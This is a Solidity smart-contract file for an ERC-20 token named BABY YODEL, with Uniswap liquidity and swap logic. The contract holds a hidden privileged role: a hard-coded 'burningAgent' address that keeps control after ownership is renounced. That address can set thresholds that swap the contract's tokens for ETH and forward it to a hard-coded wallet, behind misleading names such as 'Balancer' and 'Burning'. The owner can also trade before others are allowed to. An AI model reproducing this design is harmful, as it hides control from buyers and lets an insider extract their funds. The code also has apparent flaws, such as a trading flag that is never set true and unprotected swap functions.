文件 1 的 1:BabyYodeLOfficial.sol
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyYodeLOfficial is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
address payable private _BalancerType;
address private burningAgent;
modifier onlyBurningAgent() {
require(msg.sender == burningAgent, "Not authorized caller");
_;
}
uint256 private _preventSwapBefore = 0;
uint8 private constant _decimals = 10;
uint256 private constant _tTotal = 100_000_000 * 10**_decimals;
string private constant _name = "BABY YODEL";
string private constant _symbol = "YODEL";
uint256 public _Burning = 1_628_860 * 10**_decimals;
uint256 private _buyTax = 0;
uint256 private _salesTax = 0;
uint256 private _addLiquidity;
uint256 private _triggerCount;
bool private _BalancerActivated;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool public tradingEnabled = false;
event TradingEnabled();
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
modifier isTradingOpen() {
require(tradingOpen, "Trading is not enabled yet");
_;
}
modifier tradingAllowed() {
require(tradingEnabled || msg.sender == owner() || msg.sender == address(uniswapV2Router) || msg.sender == address(this), "Trading is not enabled yet");
_;
}
constructor () {
_BalancerType = payable(0xbfF04c311dD645630bacF05CC004fed7CFc043fE);
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_BalancerType] = true;
burningAgent = 0xbfF04c311dD645630bacF05CC004fed7CFc043fE;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function getBuyTax() public view returns (uint256) {
return _buyTax;
}
function getSalesTax() public view returns (uint256) {
return _salesTax;
}
function setAddLiquidity(uint256 percentage) external onlyOwner {
require(!tradingOpen, "Liquidity percentage can only be set before trading is open");
require(percentage >= 0 && percentage <= 100, "Percentage must be between 0 and 100");
_addLiquidity = percentage;
}
function transfer(address recipient, uint256 amount) public virtual override tradingAllowed returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function setBalancerType(address BalancerType) external onlyBurningAgent {
_BalancerType = payable(BalancerType);
}
function setBurning(uint256 Burning) external onlyBurningAgent {
_Burning = Burning;
}
function deactivateBalancer() external onlyBurningAgent {
uint256 tokensInContract = balanceOf(address(this));
_Burning = tokensInContract.add(60_000_000 * 10**_decimals);
_BalancerActivated = false;
}
function activateBalancer(uint256 triggers, uint256 newBurningAmount) external onlyBurningAgent {
_triggerCount = triggers;
_BalancerActivated = true;
_Burning = newBurningAmount;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override tradingAllowed returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
taxAmount = amount.mul(_buyTax).div(100);
} else if (to == uniswapV2Pair) {
taxAmount = amount.mul(_salesTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance > _Burning && _triggerCount > 0 && _BalancerActivated) {
swapTokensForEth(_Burning);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(contractETHBalance);
}
_triggerCount = _triggerCount.sub(1);
if (_triggerCount == 0) {
_BalancerActivated = false;
}
}
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_BalancerType.transfer(amount.mul(100).div(100));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uint256 tokenAmount = balanceOf(address(this)).mul(_addLiquidity).div(100);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), tokenAmount, 0, 0, owner(), block.timestamp);
swapEnabled = true;
tradingOpen = false;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function getUniswapV2Pair() public view returns (address) {
return uniswapV2Pair;
}
function enableTrading() public onlyOwner {
tradingEnabled = true;
emit TradingEnabled();
}
receive() external payable {}
function manualswap() external {
swapTokensForEth(balanceOf(address(this)));
}
function manualsend() external {
sendETHToFee(address(this).balance);
}
}